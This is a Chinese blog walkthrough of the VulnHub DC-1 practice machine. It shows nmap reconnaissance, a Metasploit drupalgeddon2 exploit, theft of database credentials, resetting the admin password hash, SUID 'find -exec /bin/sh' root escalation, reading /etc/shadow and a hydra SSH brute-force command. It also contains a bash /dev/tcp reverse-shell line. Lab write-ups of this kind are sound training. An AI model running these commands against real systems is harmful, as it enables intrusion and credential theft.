vulnhub DC-1入门
前言
第一次做这种靶机渗透,DC-1是入门,无脑复现,大概了解了流程,也学到了一些方法,虽然是无脑复现,但还是记录以下吧,参考的资料放在最后,其中有些话是复制的参考里的,也有自己写的,可能有些问题,等之后学的深了些,再来更改。
DC-1
靶机:

一、搜集信息
arp-scan -l查看同一区域中的主机

靶机ip:172.20.10.5
访问此ip:

nmap进行端口扫描,扫描到的端口:
root@kali:~# nmap -A 172.20.10.5 -p 1-65535
Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2020-11-03 00:41 CST
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 25.00% done; ETC: 00:41 (0:00:18 remaining)
Nmap scan report for 172.20.10.5
Host is up (0.0011s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 38537/udp status
|_ 100024 1 56416/tcp status
56416/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:69:D4:D8 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.05 ms 172.20.10.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.86 seconds
搜集到的消息:
内容管理系统(CMS)Drupal7
Web 服务器 Apache2.2.22
操作系统 Debian
开放端口:22、80、111、56416
ip:172.20.10.5
tip:可利用这个搜素漏洞https://www.exploit-db.com/?type=webapps
二 、搜索漏洞
使用msf,进行查询search drupal
msfconsole
search drupal

利用unix/webapp/drupal_drupalgeddon2模块
1、use /unix/webapp/drupal_drupalgeddon2

2、set RHOST 172.20.10.5设置ip

3、run,拿到shell

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 174 fil 2013-11-21 04:45:59 +0800 .gitignore
100644/rw-r--r-- 5767 fil 2013-11-21 04:45:59 +0800 .htaccess
100644/rw-r--r-- 1481 fil 2013-11-21 04:45:59 +0800 COPYRIGHT.txt
100644/rw-r--r-- 1451 fil 2013-11-21 04:45:59 +0800 INSTALL.mysql.txt
100644/rw-r--r-- 1874 fil 2013-11-21 04:45:59 +0800 INSTALL.pgsql.txt
100644/rw-r--r-- 1298 fil 2013-11-21 04:45:59 +0800 INSTALL.sqlite.txt
100644/rw-r--r-- 17861 fil 2013-11-21 04:45:59 +0800 INSTALL.txt
100755/rwxr-xr-x 18092 fil 2013-11-01 18:14:15 +0800 LICENSE.txt
100644/rw-r--r-- 8191 fil 2013-11-21 04:45:59 +0800 MAINTAINERS.txt
100644/rw-r--r-- 5376 fil 2013-11-21 04:45:59 +0800 README.txt
100644/rw-r--r-- 9642 fil 2013-11-21 04:45:59 +0800 UPGRADE.txt
100644/rw-r--r-- 6604 fil 2013-11-21 04:45:59 +0800 authorize.php
100644/rw-r--r-- 720 fil 2013-11-21 04:45:59 +0800 cron.php
100644/rw-r--r-- 52 fil 2019-02-19 21:20:46 +0800 flag1.txt
40755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 includes
100644/rw-r--r-- 529 fil 2013-11-21 04:45:59 +0800 index.php
100644/rw-r--r-- 703 fil 2013-11-21 04:45:59 +0800 install.php
40755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 misc
40755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 modules
40755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 profiles
100644/rw-r--r-- 1561 fil 2013-11-21 04:45:59 +0800 robots.txt
40755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 scripts
40755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 sites
40755/rwxr-xr-x 4096 dir 2013-11-21 04:45:59 +0800 themes
100644/rw-r--r-- 19941 fil 2013-11-21 04:45:59 +0800 update.php
100644/rw-r--r-- 2178 fil 2013-11-21 04:45:59 +0800 web.config
100644/rw-r--r-- 417 fil 2013-11-21 04:45:59 +0800 xmlrpc.php
拿到shell之后,能看到flag1.txt,并给下一步的提示

config为配置文件,durpal的配置文件在/sites/default/settings.php
配置文件中一般会有数据库的密码

发现flag2并提示爆破和目录攻击不是一个好的方法
数据库的密码信息
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
'username' => 'dbuser'
'password' => 'R0ck3t'
三、提权
使用shell 获得普通用户权限

使用python反弹一个交互式shell(python提供的标准shell)
溢出提权
python -c "import pty;pty.spawn('/bin/bash')"来得到交互的Shell,一般的系统都默认安装python
1、使用shell反弹(反弹shell失败)
-
1.1先用kali监听2333端口
nc -lvp 2333 -
shell反弹命令
bash -i >& /dev/tcp/172.20.10.5/2333 0>&1

连接失败,没找到原因
后面换成了搜索信息时找到的端口,还是不行
但是其实这里不用反弹shell
2、登录mysql查看用户信息
- 根据配置文件中的信息登录
username:dbuser,password:R0ck3t

show databases;
use drupaldb
show tables;

select * from users;

drupal7 密码重置:http://drupalchina.cn/node/1964
密码是加密后的密文,加密脚本在scripts/password-hash.sh

password: 123
hash: $S$D9YBS1.4Wtzjpf0TCjh8wfu2m4gcDcpKm5uai1sTx67D942AFSgC
进入数据库,用$S$D9YBS1.4Wtzjpf0TCjh8wfu2m4gcDcpKm5uai1sTx67D942AFSgC替换admin的密码,那么admin的密码就被改为了123
UPDATE users SET pass= '$S$D9YBS1.4Wtzjpf0TCjh8wfu2m4gcDcpKm5uai1sTx67D942AFSgC' WHERE uid = 1

修改成功
账号:admin 密码:123
登录成功

内容中发现flag3并提示
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容。
cat /etc/passwd
/etc/passwd文件: 系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读(r)操作

查看/home/flag4,并得到提示

需要提权到root,才能查看到最后的flag
系统内核提权
提权之前我们需要看系统中是否有一些命令具有SUID标识—如果命令有SUID标识,说明这些命令在执行过程中会有短暂的root权限
查看具有SUID权限的命令
find / -perm -4000 2>/dev/null
www-data@DC-1:/$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
上面这些命令在执行时都会短暂获得root权限,我们使用这些命令去执行另一些命令,那么那些命令也相应具有端在的root权限
Linux提权——利用可执行文件SUID:https://www.anquanke.com/post/id/86979
find命令之exec:https://www.cnblogs.com/aaronax/p/5618024.html
find提权
find flag4.txt -exec '/bin/sh' \;

提权成功
找到最后的flag

最然5个flag都拿到了
但是靶机的那个登录怎么办?
1、cat /etc/shadow
/etc/shadow 文件,用于存储 Linux 系统中用户的密码信息,又称为“影子文件”
/etc/passwd 文件,由于该文件允许所有用户读取,易导致用户密码泄露,因此 Linux 系统将用户的密码信息从 /etc/passwd 文件中分离出来,并单独放到了此文件中。
/etc/shadow 文件只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性。

发现flag4用户,并且flag4用户可以登录并且有密码,所以存在flag4的根目录,我们可以使用 hydra 进行爆破
hydra一款开源的暴力密码破解工具
-l 指定用户名
-P 加载密码字典(自定义)
ssh://ip 指定使用协议和ip地址
hydra -l flag4 -P password.txt ssh://172.20.10.5


参考:https://blog.csdn.net/weixin_45949219/article/details/104334024

浙公网安备 33010602011771号